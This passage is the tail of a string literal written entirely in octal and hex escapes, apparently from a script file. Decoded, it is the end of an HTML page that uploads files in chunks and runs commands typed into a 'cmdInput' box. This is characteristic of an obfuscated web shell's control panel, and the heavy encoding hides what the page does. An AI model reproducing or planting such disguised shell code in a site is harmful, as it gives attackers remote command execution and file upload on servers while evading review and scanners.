154\157\141\x64\x49\x6e\160\x75\x74\47\x29\15\xa\x20\40\40\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\56\x61\x64\x64\105\166\x65\x6e\164\114\151\x73\x74\145\156\145\x72\x28\x27\x63\150\141\156\x67\145\47\54\x20\x66\x75\x6e\143\164\x69\x6f\x6e\x20\50\51\40\173\15\xa\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\x69\x66\40\x28\x74\150\x69\x73\x2e\x66\151\154\x65\163\56\154\x65\x6e\x67\164\x68\40\x3e\x20\x30\x29\40\173\15\xa\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\40\40\40\165\x70\x6c\157\141\144\x43\x68\165\156\153\x65\x64\50\164\x68\151\163\x2e\x66\151\154\x65\x73\133\x30\x5d\x29\x3b\xd\xa\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\164\x68\x69\x73\x2e\166\x61\x6c\165\x65\x20\75\40\x27\47\x3b\x20\x2f\x2f\40\141\x6c\x6c\157\x77\40\x72\x65\x2d\x75\x70\x6c\157\x61\144\40\163\x61\x6d\145\40\146\x69\154\x65\xd\12\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\175\15\xa\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\175\x29\x3b\xd\xa\xd\xa\40\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x2f\x2f\x20\x43\x6c\151\x63\x6b\x20\x6f\165\164\x73\x69\144\145\x20\155\x6f\x64\x61\x6c\40\164\157\x20\143\x6c\157\x73\145\xd\xa\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x64\x6f\x63\165\155\x65\156\x74\56\x71\x75\x65\162\171\123\145\154\145\143\164\157\162\x41\x6c\154\50\47\56\x6d\157\x64\x61\x6c\x2d\x6f\166\145\162\154\141\171\47\x29\x2e\146\157\x72\105\x61\x63\150\x28\157\x76\x65\162\x6c\141\171\40\75\76\x20\173\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\157\166\145\x72\154\141\x79\x2e\x61\144\144\x45\x76\x65\x6e\164\x4c\x69\163\164\x65\156\x65\x72\50\x27\143\154\151\143\153\47\54\x20\x66\165\x6e\143\x74\151\157\x6e\40\x28\145\51\40\x7b\15\12\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\151\x66\x20\x28\x65\56\164\x61\x72\x67\x65\x74\x20\x3d\75\75\x20\164\150\x69\163\51\x20\x7b\15\xa\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\40\143\x6c\157\163\145\x4d\x6f\x64\141\154\50\x74\150\151\163\x2e\151\x64\51\73\15\12\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\40\40\40\x20\40\175\xd\12\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x7d\x29\73\xd\12\40\40\40\40\x20\x20\x20\40\40\x20\40\40\175\51\x3b\xd\12\x20\40\x20\x20\x20\x20\40\x20\175\x29\x3b\xd\xa\xd\12\xd\xa\x20\40\40\x20\x20\x20\40\x20\x64\x6f\x63\165\x6d\145\156\164\56\x67\x65\164\105\154\145\x6d\x65\156\x74\x42\171\111\x64\x28\47\x63\x6d\144\111\x6e\x70\165\164\47\51\56\x61\x64\x64\x45\166\145\x6e\x74\114\151\163\x74\145\x6e\x65\x72\50\47\x6b\x65\171\x70\162\145\x73\x73\x27\54\40\145\x20\x3d\76\x20\x7b\15\12\x20\40\x20\x20\40\40\40\x20\40\x20\40\40\x69\x66\40\50\145\56\x6b\145\x79\40\x3d\75\75\40\47\105\156\164\145\162\x27\x29\x20\145\170\x65\x63\x75\x74\x65\x43\x6f\155\x6d\141\156\x64\x28\x29\x3b\15\xa\40\x20\x20\x20\x20\40\40\x20\175\x29\73\xd\xa\40\40\40\40\74\x2f\163\x63\x72\x69\160\164\76\15\12\x3c\x2f\x62\157\x64\171\x3e\xd\12\xd\12\74\57\x68\x74\x6d\x6c\76";